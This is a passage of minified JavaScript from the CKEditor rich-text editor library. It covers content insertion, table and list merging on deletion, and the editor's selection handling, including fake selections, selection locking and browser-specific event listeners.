null;break}q=w;w=w.getParent()}if(w)q&&(ca=P.splitElement(q),C.zombies.push(ca),C.zombies.push(q));else{q=x.getName();ea=!V;w=V==v.length-1;q=g(p.node,q);U=[];aa=q.length;for(var da=0,ga=void 0,fa=0,ja=-1;da<aa;da++)ga=q[da]," "==ga?(fa||ea&&!da||(U.push(new CKEDITOR.dom.text(" ")),ja=U.length),fa=1):(U.push(ga),fa=0);w&&ja==U.length&&U.pop();ea=U}}if(ea){for(;w=ea.pop();)P.insertNode(w);ea=0}else P.insertNode(p.node);p.lastNotAllowed&&V<v.length-1&&((ca=B?ba:ca)&&P.setEndAt(ca,CKEDITOR.POSITION_AFTER_START),
F=0);P.collapse()}}1!=v.length?S=!1:(S=v[0],S=S.isElement&&"false"==S.node.getAttribute("contenteditable"));S&&(L=!0,w=v[0].node,P.setStartAt(w,CKEDITOR.POSITION_BEFORE_START),P.setEndAt(w,CKEDITOR.POSITION_AFTER_END));C.dontMoveCaret=L;C.bogusNeededBlocks=Z}S=C.range;var ia;ca=C.bogusNeededBlocks;for(ea=S.createBookmark();R=C.zombies.pop();)R.getParent()&&(N=S.clone(),N.moveToElementEditStart(R),N.removeEmptyBlocksAtEnd());if(ca)for(;R=ca.pop();)CKEDITOR.env.needsBrFiller?R.appendBogus():R.append(S.document.createText(" "));
for(;R=C.mergeCandidates.pop();)R.mergeSiblings();S.moveToBookmark(ea);if(!C.dontMoveCaret){for(R=e(S);R&&a(R)&&!R.is(m.$empty);){if(R.isBlockBoundary())S.moveToPosition(R,CKEDITOR.POSITION_BEFORE_END);else{if(f(R)&&R.getHtml().match(/(\s| )$/g)){ia=null;break}ia=S.clone();ia.moveToPosition(R,CKEDITOR.POSITION_BEFORE_END)}R=R.getLast(b)}ia&&S.moveToRange(ia)}}}}();x=function(){function a(b){b=new CKEDITOR.dom.walker(b);b.guard=function(a,b){if(b)return!1;if(a.type==CKEDITOR.NODE_ELEMENT)return a.is(CKEDITOR.dtd.$tableContent)};
b.evaluator=function(a){return a.type==CKEDITOR.NODE_ELEMENT};return b}function b(a,d,c){d=a.getDocument().createElement(d);a.append(d,c);return d}function d(a){var b=a.count(),c;for(b;0<b--;)c=a.getItem(b),CKEDITOR.tools.trim(c.getHtml())||(c.appendBogus(),CKEDITOR.env.ie&&9>CKEDITOR.env.version&&c.getChildCount()&&c.getFirst().remove())}return function(c){var g=c.startContainer,e=g.getAscendant("table",1),f=!1;d(e.getElementsByTag("td"));d(e.getElementsByTag("th"));e=c.clone();e.setStart(g,0);e=
a(e).lastBackward();e||(e=c.clone(),e.setEndAt(g,CKEDITOR.POSITION_BEFORE_END),e=a(e).lastForward(),f=!0);e||(e=g);e.is("table")?(c.setStartAt(e,CKEDITOR.POSITION_BEFORE_START),c.collapse(!0),e.remove()):(e.is({tbody:1,thead:1,tfoot:1})&&(e=b(e,"tr",f)),e.is("tr")&&(e=b(e,e.getParent().is("thead")?"th":"td",f)),(g=e.getBogus())&&g.remove(),c.moveToPosition(e,f?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_BEFORE_END))}}();t=function(){function a(b){b=new CKEDITOR.dom.walker(b);b.guard=function(a,
b){if(b)return!1;if(a.type==CKEDITOR.NODE_ELEMENT)return a.is(CKEDITOR.dtd.$list)||a.is(CKEDITOR.dtd.$listItem)};b.evaluator=function(a){return a.type==CKEDITOR.NODE_ELEMENT&&a.is(CKEDITOR.dtd.$listItem)};return b}return function(b){var d=b.startContainer,c=!1,g;g=b.clone();g.setStart(d,0);g=a(g).lastBackward();g||(g=b.clone(),g.setEndAt(d,CKEDITOR.POSITION_BEFORE_END),g=a(g).lastForward(),c=!0);g||(g=d);g.is(CKEDITOR.dtd.$list)?(b.setStartAt(g,CKEDITOR.POSITION_BEFORE_START),b.collapse(!0),g.remove()):
((d=g.getBogus())&&d.remove(),b.moveToPosition(g,c?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_BEFORE_END),b.select())}}();B={eol:{detect:function(a,b){var d=a.range,c=d.clone(),g=d.clone(),e=new CKEDITOR.dom.elementPath(d.startContainer,b),f=new CKEDITOR.dom.elementPath(d.endContainer,b);c.collapse(1);g.collapse();e.block&&c.checkBoundaryOfElement(e.block,CKEDITOR.END)&&(d.setStartAfter(e.block),a.prependEolBr=1);f.block&&g.checkBoundaryOfElement(f.block,CKEDITOR.START)&&(d.setEndBefore(f.block),
a.appendEolBr=1)},fix:function(a,b){var d=b.getDocument(),c;a.appendEolBr&&(c=this.createEolBr(d),a.fragment.append(c));!a.prependEolBr||c&&!c.getPrevious()||a.fragment.append(this.createEolBr(d),1)},createEolBr:function(a){return a.createElement("br",{attributes:{"data-cke-eol":1}})}},bogus:{exclude:function(a){var b=a.range.getBoundaryNodes(),d=b.startNode,b=b.endNode;!b||!q(b)||d&&d.equals(b)||a.range.setEndBefore(b)}},tree:{rebuild:function(a,b){var d=a.range,c=d.getCommonAncestor(),g=new CKEDITOR.dom.elementPath(c,
b),e=new CKEDITOR.dom.elementPath(d.startContainer,b),d=new CKEDITOR.dom.elementPath(d.endContainer,b),f;c.type==CKEDITOR.NODE_TEXT&&(c=c.getParent());if(g.blockLimit.is({tr:1,table:1})){var k=g.contains("table").getParent();f=function(a){return!a.equals(k)}}else if(g.block&&g.block.is(CKEDITOR.dtd.$listItem)&&(e=e.contains(CKEDITOR.dtd.$list),d=d.contains(CKEDITOR.dtd.$list),!e.equals(d))){var h=g.contains(CKEDITOR.dtd.$list).getParent();f=function(a){return!a.equals(h)}}f||(f=function(a){return!a.equals(g.block)&&
!a.equals(g.blockLimit)});this.rebuildFragment(a,b,c,f)},rebuildFragment:function(a,b,d,c){for(var g;d&&!d.equals(b)&&c(d);)g=d.clone(0,1),a.fragment.appendTo(g),a.fragment=g,d=d.getParent()}},cell:{shrink:function(a){a=a.range;var b=a.startContainer,d=a.endContainer,c=a.startOffset,g=a.endOffset;b.type==CKEDITOR.NODE_ELEMENT&&b.equals(d)&&b.is("tr")&&++c==g&&a.shrink(CKEDITOR.SHRINK_TEXT)}}};v=function(){function a(b,d){var c=b.getParent();if(c.is(CKEDITOR.dtd.$inline))b[d?"insertBefore":"insertAfter"](c)}
function b(d,c,g){a(c);a(g,1);for(var e;e=g.getNext();)e.insertAfter(c),c=e;w(d)&&d.remove()}function d(a,b){var c=new CKEDITOR.dom.range(a);c.setStartAfter(b.startNode);c.setEndBefore(b.endNode);return c}return{list:{detectMerge:function(a,b){var c=d(b,a.bookmark),g=c.startPath(),e=c.endPath(),f=g.contains(CKEDITOR.dtd.$list),k=e.contains(CKEDITOR.dtd.$list);a.mergeList=f&&k&&f.getParent().equals(k.getParent())&&!f.equals(k);a.mergeListItems=g.block&&e.block&&g.block.is(CKEDITOR.dtd.$listItem)&&
e.block.is(CKEDITOR.dtd.$listItem);if(a.mergeList||a.mergeListItems)c=c.clone(),c.setStartBefore(a.bookmark.startNode),c.setEndAfter(a.bookmark.endNode),a.mergeListBookmark=c.createBookmark()},merge:function(a,d){if(a.mergeListBookmark){var c=a.mergeListBookmark.startNode,g=a.mergeListBookmark.endNode,e=new CKEDITOR.dom.elementPath(c,d),f=new CKEDITOR.dom.elementPath(g,d);if(a.mergeList){var k=e.contains(CKEDITOR.dtd.$list),h=f.contains(CKEDITOR.dtd.$list);k.equals(h)||(h.moveChildren(k),h.remove())}a.mergeListItems&&
(e=e.contains(CKEDITOR.dtd.$listItem),f=f.contains(CKEDITOR.dtd.$listItem),e.equals(f)||b(f,c,g));c.remove();g.remove()}}},block:{detectMerge:function(a,b){if(!a.tableContentsRanges&&!a.mergeListBookmark){var d=new CKEDITOR.dom.range(b);d.setStartBefore(a.bookmark.startNode);d.setEndAfter(a.bookmark.endNode);a.mergeBlockBookmark=d.createBookmark()}},merge:function(a,d){if(a.mergeBlockBookmark&&!a.purgeTableBookmark){var c=a.mergeBlockBookmark.startNode,g=a.mergeBlockBookmark.endNode,e=new CKEDITOR.dom.elementPath(c,
d),f=new CKEDITOR.dom.elementPath(g,d),e=e.block,f=f.block;e&&f&&!e.equals(f)&&b(f,c,g);c.remove();g.remove()}}},table:function(){function a(d){var g=[],e,f=new CKEDITOR.dom.walker(d),k=d.startPath().contains(c),h=d.endPath().contains(c),n={};f.guard=function(a,f){if(a.type==CKEDITOR.NODE_ELEMENT){var l="visited_"+(f?"out":"in");if(a.getCustomData(l))return;CKEDITOR.dom.element.setMarker(n,a,l,1)}if(f&&k&&a.equals(k))e=d.clone(),e.setEndAt(k,CKEDITOR.POSITION_BEFORE_END),g.push(e);else if(!f&&h&&
a.equals(h))e=d.clone(),e.setStartAt(h,CKEDITOR.POSITION_AFTER_START),g.push(e);else{if(l=!f)l=a.type==CKEDITOR.NODE_ELEMENT&&a.is(c)&&(!k||b(a,k))&&(!h||b(a,h));if(!l&&(l=f))if(a.is(c))var l=k&&k.getAscendant("table",!0),m=h&&h.getAscendant("table",!0),r=a.getAscendant("table",!0),l=l&&l.contains(r)||m&&m.contains(r);else l=void 0;l&&(e=d.clone(),e.selectNodeContents(a),g.push(e))}};f.lastForward();CKEDITOR.dom.element.clearAllMarkers(n);return g}function b(a,d){var c=CKEDITOR.POSITION_CONTAINS+
CKEDITOR.POSITION_IS_CONTAINED,g=a.getPosition(d);return g===CKEDITOR.POSITION_IDENTICAL?!1:0===(g&c)}var c={td:1,th:1,caption:1};return{detectPurge:function(a){var b=a.range,d=b.clone();d.enlarge(CKEDITOR.ENLARGE_ELEMENT);var d=new CKEDITOR.dom.walker(d),g=0;d.evaluator=function(a){a.type==CKEDITOR.NODE_ELEMENT&&a.is(c)&&++g};d.checkForward();if(1<g){var d=b.startPath().contains("table"),e=b.endPath().contains("table");d&&e&&b.checkBoundaryOfElement(d,CKEDITOR.START)&&b.checkBoundaryOfElement(e,
CKEDITOR.END)&&(b=a.range.clone(),b.setStartBefore(d),b.setEndAfter(e),a.purgeTableBookmark=b.createBookmark())}},detectRanges:function(g,e){var f=d(e,g.bookmark),k=f.clone(),h,n,l=f.getCommonAncestor();l.is(CKEDITOR.dtd.$tableContent)&&!l.is(c)&&(l=l.getAscendant("table",!0));n=l;l=new CKEDITOR.dom.elementPath(f.startContainer,n);n=new CKEDITOR.dom.elementPath(f.endContainer,n);l=l.contains("table");n=n.contains("table");if(l||n)l&&n&&b(l,n)?(g.tableSurroundingRange=k,k.setStartAt(l,CKEDITOR.POSITION_AFTER_END),
k.setEndAt(n,CKEDITOR.POSITION_BEFORE_START),k=f.clone(),k.setEndAt(l,CKEDITOR.POSITION_AFTER_END),h=f.clone(),h.setStartAt(n,CKEDITOR.POSITION_BEFORE_START),h=a(k).concat(a(h))):l?n||(g.tableSurroundingRange=k,k.setStartAt(l,CKEDITOR.POSITION_AFTER_END),f.setEndAt(l,CKEDITOR.POSITION_AFTER_END)):(g.tableSurroundingRange=k,k.setEndAt(n,CKEDITOR.POSITION_BEFORE_START),f.setStartAt(n,CKEDITOR.POSITION_AFTER_START)),g.tableContentsRanges=h?h:a(f)},deleteRanges:function(a){for(var b;b=a.tableContentsRanges.pop();)b.extractContents(),
w(b.startContainer)&&b.startContainer.appendBogus();a.tableSurroundingRange&&a.tableSurroundingRange.extractContents()},purge:function(a){if(a.purgeTableBookmark){var b=a.doc,d=a.range.clone(),b=b.createElement("p");b.insertBefore(a.purgeTableBookmark.startNode);d.moveToBookmark(a.purgeTableBookmark);d.deleteContents();a.range.moveToPosition(b,CKEDITOR.POSITION_AFTER_START)}}}}(),detectExtractMerge:function(a){return!(a.range.startPath().contains(CKEDITOR.dtd.$listItem)&&a.range.endPath().contains(CKEDITOR.dtd.$listItem))},
fixUneditableRangePosition:function(a){a.startContainer.getDtd()["#"]||a.moveToClosestEditablePosition(null,!0)},autoParagraph:function(a,b){var d=b.startPath(),c;h(a,d.block,d.blockLimit)&&(c=l(a))&&(c=b.document.createElement(c),c.appendBogus(),b.insertNode(c),b.moveToPosition(c,CKEDITOR.POSITION_AFTER_START))}}}()})();(function(){function a(a){return CKEDITOR.plugins.widget&&CKEDITOR.plugins.widget.isDomWidget(a)}function f(b,d){if(0===b.length||a(b[0].getEnclosedNode()))return!1;var c,g;if((c=
!d&&1===b.length)&&!(c=b[0].collapsed)){var e=b[0];c=e.startContainer.getAscendant({td:1,th:1},!0);var f=e.endContainer.getAscendant({td:1,th:1},!0);g=CKEDITOR.tools.trim;c&&c.equals(f)&&!c.findOne("td, th, tr, tbody, table")?(e=e.cloneContents(),c=e.getFirst()?g(e.getFirst().getText())!==g(c.getText()):!0):c=!1}if(c)return!1;for(g=0;g<b.length;g++)if(c=b[g]._getTableElement(),!c)return!1;return!0}function e(a){function b(a){a=a.find("td, th");var d=[],c;for(c=0;c<a.count();c++)d.push(a.getItem(c));
return d}var d=[],c,g;for(g=0;g<a.length;g++)c=a[g]._getTableElement(),c.is&&c.is({td:1,th:1})?d.push(c):d=d.concat(b(c));return d}function b(a){a=e(a);var b="",d=[],c,g;for(g=0;g<a.length;g++)c&&!c.equals(a[g].getAscendant("tr"))?(b+=d.join("\t")+"\n",c=a[g].getAscendant("tr"),d=[]):0===g&&(c=a[g].getAscendant("tr")),d.push(a[g].getText());return b+=d.join("\t")}function c(a){var d=this.root.editor,c=d.getSelection(1);this.reset();v=!0;c.root.once("selectionchange",function(a){a.cancel()},null,null,
0);c.selectRanges([a[0]]);c=this._.cache;c.ranges=new CKEDITOR.dom.rangeList(a);c.type=CKEDITOR.SELECTION_TEXT;c.selectedElement=a[0]._getTableElement();c.selectedText=b(a);c.nativeSel=null;this.isFake=1;this.rev=x++;d._.fakeSelection=this;v=!1;this.root.fire("selectionchange")}function m(){var b=this._.fakeSelection,d;if(b){d=this.getSelection(1);var c;if(!(c=!d)&&(c=!d.isHidden())){c=b;var g=d.getRanges(),e=c.getRanges(),k=g.length&&g[0]._getTableElement()&&g[0]._getTableElement().getAscendant("table",
!0),h=e.length&&e[0]._getTableElement()&&e[0]._getTableElement().getAscendant("table",!0),n=1===g.length&&g[0]._getTableElement()&&g[0]._getTableElement().is("table"),l=1===e.length&&e[0]._getTableElement()&&e[0]._getTableElement().is("table");if(a(c.getSelectedElement()))c=!1;else{var m=1===g.length&&g[0].collapsed,e=f(g,!!CKEDITOR.env.webkit)&&f(e);k=k&&h?k.equals(h)||h.contains(k):!1;k&&(m||e)?(n&&!l&&c.selectRanges(g),c=!0):c=!1}c=!c}c&&(b.reset(),b=0)}if(!b&&(b=d||this.getSelection(1),!b||b.getType()==
CKEDITOR.SELECTION_NONE))return;this.fire("selectionCheck",b);d=this.elementPath();d.compare(this._.selectionPreviousPath)||(c=this._.selectionPreviousPath&&this._.selectionPreviousPath.blockLimit.equals(d.blockLimit),!CKEDITOR.env.webkit&&!CKEDITOR.env.gecko||c||(this._.previousActive=this.document.getActive()),this._.selectionPreviousPath=d,this.fire("selectionChange",{selection:b,path:d}))}function h(){z=!0;y||(l.call(this),y=CKEDITOR.tools.setTimeout(l,200,this))}function l(){y=null;z&&(CKEDITOR.tools.setTimeout(m,
0,this),z=!1)}function d(a){return A(a)||a.type==CKEDITOR.NODE_ELEMENT&&!a.is(CKEDITOR.dtd.$empty)?!0:!1}function k(a){function b(d,c){return d&&d.type!=CKEDITOR.NODE_TEXT?a.clone()["moveToElementEdit"+(c?"End":"Start")](d):!1}if(!(a.root instanceof CKEDITOR.editable))return!1;var c=a.startContainer,g=a.getPreviousNode(d,null,c),e=a.getNextNode(d,null,c);return b(g)||b(e,1)||!(g||e||c.type==CKEDITOR.NODE_ELEMENT&&c.isBlockBoundary()&&c.getBogus())?!0:!1}function g(a){n(a,!1);var b=a.getDocument().createText(t);
a.setCustomData("cke-fillingChar",b);return b}function n(a,b){var d=a&&a.removeCustomData("cke-fillingChar");if(d){if(!1!==b){var c=a.getDocument().getSelection().getNative(),g=c&&"None"!=c.type&&c.getRangeAt(0),e=t.length;if(d.getLength()>e&&g&&g.intersectsNode(d.$)){var f=[{node:c.anchorNode,offset:c.anchorOffset},{node:c.focusNode,offset:c.focusOffset}];c.anchorNode==d.$&&c.anchorOffset>e&&(f[0].offset-=e);c.focusNode==d.$&&c.focusOffset>e&&(f[1].offset-=e)}}d.setText(r(d.getText(),1));f&&(d=a.getDocument().$,
c=d.getSelection(),d=d.createRange(),d.setStart(f[0].node,f[0].offset),d.collapse(!0),c.removeAllRanges(),c.addRange(d),c.extend(f[1].node,f[1].offset))}}function r(a,b){return b?a.replace(B,function(a,b){return b?" ":""}):a.replace(t,"")}function w(a,b){var d=b&&CKEDITOR.tools.htmlEncode(b)||"\x26nbsp;",d=CKEDITOR.dom.element.createFromHtml('\x3cdiv data-cke-hidden-sel\x3d"1" data-cke-temp\x3d"1" style\x3d"'+(CKEDITOR.env.ie&&14>CKEDITOR.env.version?"display:none":"position:fixed;top:0;left:-1000px;width:0;height:0;overflow:hidden;")+
'"\x3e'+d+"\x3c/div\x3e",a.document);a.fire("lockSnapshot");a.editable().append(d);var c=a.getSelection(1),g=a.createRange(),e=c.root.on("selectionchange",function(a){a.cancel()},null,null,0);g.setStartAt(d,CKEDITOR.POSITION_AFTER_START);g.setEndAt(d,CKEDITOR.POSITION_BEFORE_END);c.selectRanges([g]);e.removeListener();a.fire("unlockSnapshot");a._.hiddenSelectionContainer=d}function q(a){var b={37:1,39:1,8:1,46:1};return function(d){var c=d.data.getKeystroke();if(b[c]){var g=a.getSelection().getRanges(),
e=g[0];1==g.length&&e.collapsed&&(c=e[38>c?"getPreviousEditableNode":"getNextEditableNode"]())&&c.type==CKEDITOR.NODE_ELEMENT&&"false"==c.getAttribute("contenteditable")&&(a.getSelection().fake(c),d.data.preventDefault(),d.cancel())}}}function p(a){for(var b=0;b<a.length;b++){var d=a[b];d.getCommonAncestor().isReadOnly()&&a.splice(b,1);if(!d.collapsed){if(d.startContainer.isReadOnly())for(var c=d.startContainer,g;c&&!((g=c.type==CKEDITOR.NODE_ELEMENT)&&c.is("body")||!c.isReadOnly());)g&&"false"==
c.getAttribute("contentEditable")&&d.setStartAfter(c),c=c.getParent();c=d.startContainer;g=d.endContainer;var e=d.startOffset,f=d.endOffset,k=d.clone();c&&c.type==CKEDITOR.NODE_TEXT&&(e>=c.getLength()?k.setStartAfter(c):k.setStartBefore(c));g&&g.type==CKEDITOR.NODE_TEXT&&(f?k.setEndAfter(g):k.setEndBefore(g));c=new CKEDITOR.dom.walker(k);c.evaluator=function(c){if(c.type==CKEDITOR.NODE_ELEMENT&&c.isReadOnly()){var g=d.clone();d.setEndBefore(c);d.collapsed&&a.splice(b--,1);c.getPosition(k.endContainer)&
CKEDITOR.POSITION_CONTAINS||(g.setStartAfter(c),g.collapsed||a.splice(b+1,0,g));return!0}return!1};c.next()}}return a}var u="function"!=typeof window.getSelection,x=1,t=CKEDITOR.tools.repeat("",7),B=new RegExp(t+"( )?","g"),v,y,z,A=CKEDITOR.dom.walker.invisible(1),D=function(){function a(b){return function(a){var d=a.editor.createRange();d.moveToClosestEditablePosition(a.selected,b)&&a.editor.getSelection().selectRanges([d]);return!1}}function b(a){return function(b){var d=b.editor,c=d.createRange(),
g;if(!d.readOnly)return(g=c.moveToClosestEditablePosition(b.selected,a))||(g=c.moveToClosestEditablePosition(b.selected,!a)),g&&d.getSelection().selectRanges([c]),d.fire("saveSnapshot"),b.selected.remove(),g||(c.moveToElementEditablePosition(d.editable()),d.getSelection().selectRanges([c])),d.fire("saveSnapshot"),!1}}var d=a(),c=a(1);return{37:d,38:d,39:c,40:c,8:b(),46:b(1)}}();CKEDITOR.on("instanceCreated",function(a){function b(){var a=d.getSelection();a&&a.removeAllRanges()}var d=a.editor;d.on("contentDom",
function(){function a(){v=new CKEDITOR.dom.selection(d.getSelection());v.lock()}function b(){f.removeListener("mouseup",b);r.removeListener("mouseup",b);var a=CKEDITOR.document.$.selection,d=a.createRange();"None"!=a.type&&d.parentElement()&&d.parentElement().ownerDocument==e.$&&d.select()}function c(a){var b,d;b=(b=this.document.getActive())?"input"===b.getName()||"textarea"===b.getName():!1;b||(b=this.getSelection(1),(d=g(b))&&!d.equals(k)&&(b.selectElement(d),a.data.preventDefault()))}function g(a){a=
a.getRanges()[0];return a?(a=a.startContainer.getAscendant(function(a){return a.type==CKEDITOR.NODE_ELEMENT&&a.hasAttribute("contenteditable")},!0))&&"false"===a.getAttribute("contenteditable")?a:null:null}var e=d.document,f=CKEDITOR.document,k=d.editable(),l=e.getBody(),r=e.getDocumentElement(),t=k.isInline(),x,v;CKEDITOR.env.gecko&&k.attachListener(k,"focus",function(a){a.removeListener();0!==x&&(a=d.getSelection().getNative())&&a.isCollapsed&&a.anchorNode==k.$&&(a=d.createRange(),a.moveToElementEditStart(k),
a.select())},null,null,-2);k.attachListener(k,CKEDITOR.env.webkit||CKEDITOR.env.gecko?"focusin":"focus",function(){if(x&&(CKEDITOR.env.webkit||CKEDITOR.env.gecko)){x=d._.previousActive&&d._.previousActive.equals(e.getActive());var a=null!=d._.previousScrollTop&&d._.previousScrollTop!=k.$.scrollTop;CKEDITOR.env.webkit&&x&&a&&(k.$.scrollTop=d._.previousScrollTop)}d.unlockSelection(x);x=0},null,null,-1);k.attachListener(k,"mousedown",function(){x=0});if(CKEDITOR.env.ie||CKEDITOR.env.gecko||t)u?k.attachListener(k,
"beforedeactivate",a,null,null,-1):k.attachListener(d,"selectionCheck",a,null,null,-1),k.attachListener(k,CKEDITOR.env.webkit||CKEDITOR.env.gecko?"focusout":"blur",function(){var a=v&&(v.isFake||2>v.getRanges().length);CKEDITOR.env.gecko&&!t&&a||(d.lockSelection(v),x=1)},null,null,-1),k.attachListener(k,"mousedown",function(){x=0});if(CKEDITOR.env.ie&&!t){var p;k.attachListener(k,"mousedown",function(a){2==a.data.$.button&&((a=d.document.getSelection())&&a.getType()!=CKEDITOR.SELECTION_NONE||(p=d.window.getScrollPosition()))});
k.attachListener(k,"mouseup",function(a){2==a.data.$.button&&p&&(d.document.$.documentElement.scrollLeft=p.x,d.document.$.documentElement.scrollTop=p.y);p=null});if("BackCompat"!=e.$.compatMode){if(CKEDITOR.env.ie7Compat||CKEDITOR.env.ie6Compat){var z,w;r.on("mousedown",function(a){function b(a){a=a.data.$;if(z){var d=l.$.createTextRange();try{d.moveToPoint(a.clientX,a.clientY)}catch(c){}z.setEndPoint(0>w.compareEndPoints("StartToStart",d)?"EndToEnd":"StartToStart",d);z.select()}}function d(){r.removeListener("mousemove",
b);f.removeListener("mouseup",d);r.removeListener("mouseup",d);z.select()}a=a.data;if(a.getTarget().is("html")&&a.$.y<r.$.clientHeight&&a.$.x<r.$.clientWidth){z=l.$.createTextRange();try{z.moveToPoint(a.$.clientX,a.$.clientY)}catch(c){}w=z.duplicate();r.on("mousemove",b);f.on("mouseup",d);r.on("mouseup",d)}})}if(7<CKEDITOR.env.version&&11>CKEDITOR.env.version)r.on("mousedown",function(a){a.data.getTarget().is("html")&&(f.on("mouseup",b),r.on("mouseup",b))})}}k.attachListener(k,"selectionchange",m,
d);k.attachListener(k,"keyup",h,d);k.attachListener(k,"touchstart",h,d);k.attachListener(k,"touchend",h,d);CKEDITOR.env.ie&&k.attachListener(k,"keydown",c,d);k.attachListener(k,CKEDITOR.env.webkit||CKEDITOR.env.gecko?"focusin":"focus",function(){d.forceNextSelectionCheck();d.selectionChange(1)});if(t&&(CKEDITOR.env.webkit||CKEDITOR.env.gecko)){var y;k.attachListener(k,"mousedown",function(){y=1});k.attachListener(e.getDocumentElement(),"mouseup",function(){y&&h.call(d);y=0})}else k.attachListener(CKEDITOR.env.ie?
k:e.getDocumentElement(),"mouseup",h,d);CKEDITOR.env.webkit&&k.attachListener(e,"keydown",function(a){switch(a.data.getKey()){case 13:case 33:case 34:case 35:case 36:case 37:case 39:case 8:case 45:case 46:k.hasFocus&&n(k)}},null,null,-1);k.attachListener(k,"keydown",q(d),null,null,-1)});d.on("setData",function(){d.unlockSelection();CKEDITOR.env.webkit&&b()});d.on("contentDomUnload",function(){d.unlockSelection()});if(CKEDITOR.env.ie9Compat)d.on("beforeDestroy",b,null,null,9);d.on("dataReady",function(){delete d._.fakeSelection;
delete d._.hiddenSelectionContainer;d.selectionChange(1)});d.on("loadSnapshot",function(){var a=CKEDITOR.dom.walker.nodeType(CKEDITOR.NODE_ELEMENT),b=d.editable().getLast(a);b&&b.hasAttribute("data-cke-hidden-sel")&&(b.remove(),CKEDITOR.env.gecko&&(a=d.editable().getFirst(a))&&a.is("br")&&a.getAttribute("_moz_editor_bogus_node")&&a.remove())},null,null,100);d.on("key",function(a){if("wysiwyg"==d.mode){var b=d.getSelection();if(b.isFake){var c=D[a.data.keyCode];if(c)return c({editor:d,selected:b.getSelectedElement(),
selection:b,keyEvent:a})}}})});if(CKEDITOR.env.webkit)CKEDITOR.on("instanceReady",function(a){var b=a.editor;b.on("selectionChange",function(){var a=b.editable(),d=a.getCustomData("cke-fillingChar");d&&(d.getCustomData("ready")?(n(a),a.editor.fire("selectionCheck")):d.setCustomData("ready",1))},null,null,-1);b.on("beforeSetMode",function(){n(b.editable())},null,null,-1);b.on("getSnapshot",function(a){a.data&&(a.data=r(a.data))},b,null,20);b.on("toDataFormat",function(a){a.data.dataValue=r(a.data.dataValue)},
null,null,0)});CKEDITOR.editor.prototype.selectionChange=function(a){(a?m:h).call(this)};CKEDITOR.editor.prototype.getSelection=function(a){return!this._.savedSelection&&!this._.fakeSelection||a?(a=this.editable())&&"wysiwyg"==this.mode?new CKEDITOR.dom.selection(a):null:this._.savedSelection||this._.fakeSelection};CKEDITOR.editor.prototype.getSelectedRanges=function(a){var b=this.getSelection();return b&&b.getRanges(a)||[]};CKEDITOR.editor.prototype.lockSelection=function(a){a=a||this.getSelection(1);
return a.getType()!=CKEDITOR.SELECTION_NONE?(!a.isLocked&&a.lock(),this._.savedSelection=a,!0):!1};CKEDITOR.editor.prototype.unlockSelection=function(a){var b=this._.savedSelection;return b?(b.unlock(a),delete this._.savedSelection,!0):!1};CKEDITOR.editor.prototype.forceNextSelectionCheck=function(){delete this._.selectionPreviousPath};CKEDITOR.dom.document.prototype.getSelection=function(){return new CKEDITOR.dom.selection(this)};CKEDITOR.dom.range.prototype.select=function(){var a=this.root instanceof
CKEDITOR.editable?this.root.editor.getSelection():new CKEDITOR.dom.selection(this.root);a.selectRanges([this]);return a};CKEDITOR.SELECTION_NONE=1;CKEDITOR.SELECTION_TEXT=2;CKEDITOR.SELECTION_ELEMENT=3;CKEDITOR.dom.selection=function(a){if(a instanceof CKEDITOR.dom.selection){var b=a;a=a.root}var d=a instanceof CKEDITOR.dom.element;this.rev=b?b.rev:x++;this.document=a instanceof CKEDITOR.dom.document?a:a.getDocument();this.root=d?a:this.document.getBody();this.isLocked=0;this._={cache:{}};if(b)return CKEDITOR.tools.extend(this._.cache,
b._.cache),this.isFake=b.isFake,this.isLocked=b.isLocked,this;a=this.getNative();var c,g;if(a)if(a.getRangeAt)c=(g=a.rangeCount&&a.getRangeAt(0))&&new CKEDITOR.dom.node(g.commonAncestorContainer);else{try{g=a.createRange()}catch(e){}c=g&&CKEDITOR.dom.element.get(g.item&&g.item(0)||g.parentElement())}if(!c||c.type!=CKEDITOR.NODE_ELEMENT&&c.type!=CKEDITOR.NODE_TEXT||!this.root.equals(c)&&!this.root.contains(c))this._.cache.type=CKEDITOR.SELECTION_NONE,this._.cache.startElement=null,this._.cache.selectedElement=
null,this._.cache.selectedText="",this._.cache.ranges=new CKEDITOR.dom.rangeList;return this};var G={img:1,hr:1,li:1,table:1,tr:1,td:1,th:1,embed:1,object:1,ol:1,ul:1,a:1,input:1,form:1,select:1,textarea:1,button:1,fieldset:1,thead:1,tfoot:1};CKEDITOR.tools.extend(CKEDITOR.dom.selection,{_removeFillingCharSequenceString:r,_createFillingCharSequenceNode:g,FILLING_CHAR_SEQUENCE:t});CKEDITOR.dom.selection.prototype={getNative:function(){return void 0!==this._.cache.nativeSel?this._.cache.nativeSel:this._.cache.nativeSel=
u?this.document.$.selection:this.document.getWindow().$.getSelection()},getType:u?function(){var a=this._.cache;if(a.type)return a.type;var b=CKEDITOR.SELECTION_NONE;try{var d=this.getNative(),c=d.type;"Text"==c&&(b=CKEDITOR.SELECTION_TEXT);"Control"==c&&(b=CKEDITOR.SELECTION_ELEMENT);d.createRange().parentElement()&&(b=CKEDITOR.SELECTION_TEXT)}catch(g){}return a.type=b}:function(){var a=this._.cache;if(a.type)return a.type;var b=CKEDITOR.SELECTION_TEXT,d=this.getNative();if(!d||!d.rangeCount)b=CKEDITOR.SELECTION_NONE;
else if(1==d.rangeCount){var d=d.getRangeAt(0),c=d.startContainer;c==d.endContainer&&1==c.nodeType&&1==d.endOffset-d.startOffset&&G[c.childNodes[d.startOffset].nodeName.toLowerCase()]&&(b=CKEDITOR.SELECTION_ELEMENT)}return a.type=b},getRanges:function(){var a=u?function(){function a(b){return(new CKEDITOR.dom.node(b)).getIndex()}var b=function(b,d){b=b.duplicate();b.collapse(d);var c=b.parentElement();if(!c.hasChildNodes())return{container:c,offset:0};for(var g=c.children,e,f,k=b.duplicate(),h=0,
n=g.length-1,l=-1,m,r;h<=n;)if(l=Math.floor((h+n)/2),e=g[l],k.moveToElementText(e),m=k.compareEndPoints("StartToStart",b),0<m)n=l-1;else if(0>m)h=l+1;else return{container:c,offset:a(e)};if(-1==l||l==g.length-1&&0>m){k.moveToElementText(c);k.setEndPoint("StartToStart",b);k=k.text.replace(/(\r\n|\r)/g,"\n").length;g=c.childNodes;if(!k)return e=g[g.length-1],e.nodeType!=CKEDITOR.NODE_TEXT?{container:c,offset:g.length}:{container:e,offset:e.nodeValue.length};for(c=g.length;0<k&&0<c;)f=g[--c],f.nodeType==
